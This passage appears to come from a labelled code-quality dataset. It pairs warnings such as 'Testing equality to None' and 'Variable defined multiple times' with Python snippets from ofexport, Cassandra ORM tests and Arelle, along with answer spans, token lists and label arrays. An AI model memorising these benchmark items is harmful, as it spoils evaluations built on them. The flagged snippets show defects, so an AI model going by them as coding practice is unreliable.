2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
psidnell/ofexport/src/main/python/attrib_convert.py
[ { "content": " def value (self, node, type_fns):\n # Does the attrib have the attribute at all?\n # If not use the template default \n if not self.field in node.__dict__:\n return self.default\n \n value = node.__dict__[self.field]\n \n # If it's null use the demplate default\n if value == None:\n return self.default\n \n # Run optional custom code, for example loading\n # a sub attribute of the object\n if self.evaluate != None:\n value = eval (self.evaluate) \n \n # If that yielded null use the template default\n if value == None:\n return self.default\n \n # Run a converter assocuated with it's type\n # Possibly loaded from a plugin\n value = type_fns[self.type] (value) \n \n # If that yielded null use the template default\n if value == None:\n return self.default\n \n # Finally, having got a non-null string format it with the format associated with the field\n return self.format_template.safe_substitute (value=value)", "metadata": "root.Conversion.value", "header": "['class', 'Conversion', ':', '___EOS___']", "index": 25 } ]
[ { "span": "value == None:", "start_line": 34, "start_column": 11, "end_line": 34, "end_column": 24 }, { "span": "value == None:", "start_line": 43, "start_column": 11, "end_line": 43, "end_column": 24 }, { "span": "value == None:", "start_line": 51, "start_column": 11, "end_line": 51, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Conversion", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "value_", "(_", "self_", ",_", "node_", ",_", "type", "\\u", "fns_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Do", "es", " ", "the", " ", "attrib", " ", "have", " ", "the", " ", "attribute", " ", "at", " ", "all", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "use", " ", "the", " ", "template", " ", "default", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "field_", "in_", "node_", "._", "\\u\\u", "dict\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "node_", "._", "\\u\\u", "dict\\u\\u_", "[_", "self_", "._", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "it", "'", "s", " ", "null", " ", "use", " ", "the", " ", "dem", "plate", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "value_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Run", " ", "option", "al", " ", "custom", " ", "code", ",", " ", "for", " ", "example", " ", "loading_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "sub", " ", "attribute", " ", "of", " ", "the", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "evaluate_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "eval_", "(_", "self_", "._", "evaluate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "tha", "t", " ", "yield", "ed", " ", "null", " ", "use", " ", "the", " ", "template", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Run", " ", "a", " ", "converter", " ", "assoc", "uat", "ed", " ", "with", " ", "it", "'", "s", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Poss", "ibl", "y", " ", "load", "ed", " ", "from", " ", "a", " ", "plugin_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "type", "\\u", "fns_", "[_", "self_", "._", "type_", "]_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "tha", "t", " ", "yield", "ed", " ", "null", " ", "use", " ", "the", " ", "template", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "value_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Final", "ly", ",", " ", "hav", "ing", " ", "got", " ", "a", " ", "non", "-", "null", " ", "string", " ", "format", " ", "it", " ", "with", " ", "the", " ", "format", " ", "associate", "d", " ", "with", " ", "the", " ", "field_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "format\\u", "template_", "._", "safe", "\\u", "substitute_", "(_", "value_", "=_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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n \"\"\" Tests that defining a model with more than one discriminator column fails \"\"\"\n with self.assertRaises(models.ModelDefinitionException):\n class M(models.Model):\n partition = columns.Integer(primary_key=True)\n type1 = columns.Integer(discriminator_column=True)\n type2 = columns.Integer(discriminator_column=True)", "metadata": "root.TestInheritanceClassConstruction.test_multiple_discriminator_value_failure", "header": "['class', 'TestInheritanceClassConstruction', '(', 'BaseCassEngTestCase', ')', ':', '___EOS___']", "index": 26 }, { "content": " def test_no_discriminator_column_failure(self):\n with self.assertRaises(models.ModelDefinitionException):\n class M(models.Model):\n __discriminator_value__ = 1", "metadata": "root.TestInheritanceClassConstruction.test_no_discriminator_column_failure", "header": "['class', 'TestInheritanceClassConstruction', '(', 'BaseCassEngTestCase', ')', ':', '___EOS___']", "index": 34 }, { "content": " def test_collection_columns_cant_be_discriminator_column(self):\n with self.assertRaises(models.ModelDefinitionException):\n class Base(models.Model):\n\n partition = columns.Integer(primary_key=True)\n type1 = columns.Set(columns.Integer, discriminator_column=True)", "metadata": "root.TestInheritanceClassConstruction.test_collection_columns_cant_be_discriminator_column", "header": "['class', 'TestInheritanceClassConstruction', '(', 'BaseCassEngTestCase', ')', ':', '___EOS___']", "index": 87 } ]
[ { "span": "M(", "start_line": 29, "start_column": 18, "end_line": 29, "end_column": 19 }, { "span": "M(", "start_line": 36, "start_column": 18, "end_line": 36, "end_column": 19 }, { "span": "Base(", "start_line": 89, "start_column": 18, "end_line": 89, "end_column": 22 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Inherit", "anc", "e", "Class", "Construct", "ion_", "(_", "Base", "Cass", "Eng", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "multiple", "\\u", "discriminator", "\\u", "value", "\\u", "failure_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Test", "s", " ", "tha", "t", " ", "defini", "ng", " ", "a", " ", "model", " ", "with", " ", "more", " ", "than", " ", "one", " ", "discriminator", " ", "column", " ", "fail", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "models_", "._", "Model", "Definit", "ion", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "M_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "partition_", "=_", "columns_", "._", "Integer_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type1_", "=_", "columns_", "._", "Integer_", "(_", "discriminator", "\\u", "column_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type2_", "=_", "columns_", "._", "Integer_", "(_", "discriminator", "\\u", "column_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inherit", "anc", "e", "Class", "Construct", "ion_", "(_", "Base", "Cass", "Eng", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "discriminator", "\\u", "column", "\\u", "failure_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "assert", "Raises_", "(_", "models_", "._", "Model", "Definit", "ion", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "M_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "discriminator", "\\u", "value", "\\u\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inherit", "anc", "e", "Class", "Construct", "ion_", "(_", "Base", "Cass", "Eng", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "collection", "\\u", "column", "s", "\\u", "cant", "\\u", "be", "\\u", "discriminator", "\\u", "column_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "assert", "Raises_", "(_", "models_", "._", "Model", "Definit", "ion", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Base_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "partition_", "=_", "columns_", "._", "Integer_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type1_", "=_", "columns_", "._", "Set_", "(_", "columns_", "._", "Integer_", ",_", "discriminator", "\\u", "column_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
Arelle/Arelle/arelle/plugin/xbrlDB/SqlDb.py
[ { "content": " def create(self, ddlFile):\n # drop tables\n startedAt = time.time()\n self.showStatus(\"Dropping prior tables\")\n for table in self.tablesInDB():\n result = self.execute('DROP TABLE %s' % self.dbTableName(table),\n close=False, commit=False, fetch=False, action=\"dropping table\")\n self.showStatus(\"Dropping prior sequences\")\n for sequence in self.sequencesInDB():\n result = self.execute('DROP SEQUENCE %s' % sequence,\n close=False, commit=False, fetch=False, action=\"dropping sequence\")\n self.modelXbrl.profileStat(_(\"XbrlPublicDB: drop prior tables\"), time.time() - startedAt)\n \n startedAt = time.time()\n with io.open(os.path.dirname(__file__) + os.sep + ddlFile, \n 'rt', encoding='utf-8') as fh:\n sql = fh.read().replace('%', '%%')\n # separate dollar-quoted bodies and statement lines\n sqlstatements = []\n def findstatements(start, end, laststatement):\n for line in sql[start:end].split('\\n'):\n stmt, comment1, comment2 = line.partition(\"--\")\n laststatement += stmt + '\\n'\n if ';' in stmt:\n sqlstatements.append(laststatement)\n laststatement = ''\n return laststatement\n stmt = ''\n i = 0\n patternDollarEsc = re.compile(r\"([$]\\w*[$])\", re.DOTALL + re.MULTILINE)\n while i < len(sql): # preserve $$ function body escaping\n match = patternDollarEsc.search(sql, i)\n if not match:\n stmt = findstatements(i, len(sql), stmt)\n sqlstatements.append(stmt)\n break\n # found match\n dollarescape = match.group()\n j = match.end()\n stmt = findstatements(i, j, stmt) # accumulate statements before match\n i = sql.find(dollarescape, j)\n if i > j: # found end of match\n if self.product == \"mysql\":\n # mysql doesn't want DELIMITER over the interface\n stmt = sql[j:i]\n i += len(dollarescape)\n else:\n # postgres and others want the delimiter in the sql sent\n i += len(dollarescape)\n stmt += sql[j:i]\n sqlstatements.append(stmt)\n # problem with driver and $$ statements, skip them (for now)\n stmt = ''\n action = \"executing ddl in {}\".format(os.path.basename(ddlFile))\n for i, sql in enumerate(sqlstatements):\n if any(cmd in sql\n for cmd in ('CREATE TABLE', 'CREATE SEQUENCE', 'INSERT INTO', 'CREATE TYPE',\n 'CREATE FUNCTION', \n 'SET',\n 'CREATE INDEX', 'CREATE UNIQUE INDEX' # 'ALTER TABLE ONLY'\n )):\n statusMsg, sep, rest = sql.strip().partition('\\n')\n self.showStatus(statusMsg[0:50])\n result = self.execute(sql, close=False, commit=False, fetch=False, action=action)\n if TRACESQLFILE:\n with io.open(TRACESQLFILE, \"a\", encoding='utf-8') as fh:\n fh.write(\"\\n\\n>>> ddl {0}: \\n{1} \\n\\n>>> result: \\n{2}\\n\"\n .format(i, sql, result))\n fh.write(sql)\n self.showStatus(\"\")\n self.conn.commit()\n self.modelXbrl.profileStat(_(\"XbrlPublicDB: create tables\"), time.time() - startedAt)\n self.closeCursor()", "metadata": "root.SqlDbConnection.create", "header": "['class', 'SqlDbConnection', '(', ')', ':', '___EOS___']", "index": 350 } ]
[ { "span": "result ", "start_line": 355, "start_column": 12, "end_line": 355, "end_column": 18 }, { "span": "result ", "start_line": 359, "start_column": 12, "end_line": 359, "end_column": 18 } ]
[ { "span": "result ", "start_line": 413, "start_column": 16, "end_line": 413, "end_column": 22 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Sq", "l", "Db", "Connection_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create_", "(_", "self_", ",_", "ddl", "File_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "drop", " ", "tables_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "show", "Status_", "(_", "\"", "Dropp", "ing", " ", "prior", " ", "tables", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "table_", "in_", "self_", "._", "tables", "In", "DB_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "execute_", "(_", "'", "DROP", " ", "TAB", "LE", " ", "%", "s", "'_", "%_", "self_", "._", "db", "Table", "Name_", "(_", "table_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "close_", "=_", "False_", ",_", "commit_", "=_", "False_", ",_", "fetch_", "=_", "False_", ",_", "action_", "=_", "\"", "drop", "ping", " ", "table", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "show", "Status_", "(_", "\"", "Dropp", "ing", " ", "prior", " ", "sequence", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sequence_", "in_", "self_", "._", "sequence", "s", "In", "DB_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "execute_", "(_", "'", "DROP", " ", "SEQUENCE", " ", "%", "s", "'_", "%_", "sequence_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "close_", "=_", "False_", ",_", "commit_", "=_", "False_", ",_", "fetch_", "=_", "False_", ",_", "action_", "=_", "\"", "drop", "ping", " ", "sequence", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "model", "Xbrl", "_", "._", "profile", "Stat_", "(_", "\\u_", "(_", "\"", "Xbrl", "Public", "DB", ":", " ", "drop", " ", "prior", " ", "tables", "\"_", ")_", ",_", "time_", "._", "time_", "(_", ")_", "-_", "start", "ed", "At_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "io_", "._", "open_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "+_", "os_", "._", "sep_", "+_", "ddl", "File_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rt", "'_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sql_", "=_", "fh_", "._", "read_", "(_", ")_", "._", "replace_", "(_", "'%'_", ",_", "'%%", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "separate", " ", "dollar", "-", "quoted", " ", "bodi", "es", " ", "and", " ", "statem", "ent", " ", "lines_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sqls", "tate", "ments_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "statements_", "(_", "start_", ",_", "end_", ",_", "lasts", "tate", "ment_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "line_", "in_", "sql_", "[_", "start_", ":_", "end_", "]_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stmt_", ",_", "comment", "1_", ",_", "comment", "2_", "=_", "line_", "._", "partition_", "(_", "\"--\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lasts", "tate", "ment_", "+=_", "stmt_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "';'_", "in_", "stmt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sqls", "tate", "ments_", "._", "append_", "(_", "lasts", "tate", "ment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lasts", "tate", "ment_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "lasts", "tate", "ment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stmt_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern", "Dol", "lar", "Esc", "_", "=_", "re_", "._", "compile_", "(_", "r", "\"([", "$]", "\\\\", "w", "*[", "$]", ")\"_", ",_", "re_", "._", "DOTALL_", "+_", "re_", "._", "MULTILINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "i_", "<_", "len_", "(_", "sql_", ")_", ":_", "#", " ", "preserve", " ", "$$", " ", "function", " ", "body", " ", "esca", "ping_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "pattern", "Dol", "lar", "Esc", "_", "._", "search_", "(_", "sql_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stmt_", "=_", "find", "statements_", "(_", "i_", ",_", "len_", "(_", "sql_", ")_", ",_", "stmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sqls", "tate", "ments_", "._", "append_", "(_", "stmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "found", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dollar", "escape_", "=_", "match_", "._", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "match_", "._", "end_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stmt_", "=_", "find", "statements_", "(_", "i_", ",_", "j_", ",_", "stmt_", ")_", "#", " ", "accumulate", " ", "statem", "ents", " ", "bef", "ore", " ", "match_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "sql_", "._", "find_", "(_", "dollar", "escape_", ",_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", ">_", "j_", ":_", "#", " ", "found", " ", "end", " ", "of", " ", "match_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "product_", "==_", "\"", "mysql", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mysql", " ", "doe", "sn", "'", "t", " ", "want", " ", "DELIMITER", " ", "over", " ", "the", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stmt_", "=_", "sql_", "[_", "j_", ":_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "len_", "(_", "dollar", "escape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "postgres", " ", "and", " ", "other", "s", " ", "want", " ", "the", " ", "delimiter", " ", "in", " ", "the", " ", "sql", " ", "sent_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "i_", "+=_", "len_", "(_", "dollar", "escape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stmt_", "+=_", "sql_", "[_", "j_", ":_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sqls", "tate", "ments_", "._", "append_", "(_", "stmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "problem", " ", "with", " ", "driver", " ", "and", " ", "$$", " ", "statem", "ents", ",", " ", "skip", " ", "them", " ", "(", "for", " ", "now", ")_", "\\u\\u\\uNL\\u\\u\\u_", "stmt_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "action_", "=_", "\"", "executi", "ng", " ", "ddl", " ", "in", " ", "{}\"_", "._", "format_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "ddl", "File_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "sql_", "in_", "enumerate_", "(_", "sqls", "tate", "ments_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "any_", "(_", "cmd_", "in_", "sql_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "cmd_", "in_", "(_", "'", "CREATE", " ", "TAB", "LE", "'_", ",_", "'", "CREATE", " ", "SEQUENCE", "'_", ",_", "'", "INSERT", " ", "INT", "O", "'_", ",_", "'", "CREATE", " ", "TYPE", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CREATE", " ", "FUNC", "TIO", "N", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CREATE", " ", "INDE", "X", "'_", ",_", "'", "CREATE", " ", "UNI", "QUE", " ", "INDE", "X", "'_", "#", " ", "'", "ALT", "ER", " ", "TAB", "LE", " ", "ONL", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "Msg_", ",_", "sep_", ",_", "rest_", "=_", "sql_", "._", "strip_", "(_", ")_", "._", "partition_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "show", "Status_", "(_", "status", "Msg_", "[_", "0_", ":_", "50_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "execute_", "(_", "sql_", ",_", "close_", "=_", "False_", ",_", "commit_", "=_", "False_", ",_", "fetch_", "=_", "False_", ",_", "action_", "=_", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "TRACE", "SQL", "FILE_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "with_", "io_", "._", "open_", "(_", "TRACE", "SQL", "FILE_", ",_", "\"", "a", "\"_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fh_", "._", "write_", "(_", "\"\\\\", "n", "\\\\", "n", ">>>", " ", "ddl", " ", "{", "0", "}:", " ", "\\\\", "n", "{", "1", "}", " ", "\\\\", "n", "\\\\", "n", ">>>", " ", "result", ":", " ", "\\\\", "n", "{", "2", "}\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "i_", ",_", "sql_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "write_", "(_", "sql_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "show", "Status_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "conn_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "model", "Xbrl", "_", "._", "profile", "Stat_", "(_", "\\u_", "(_", 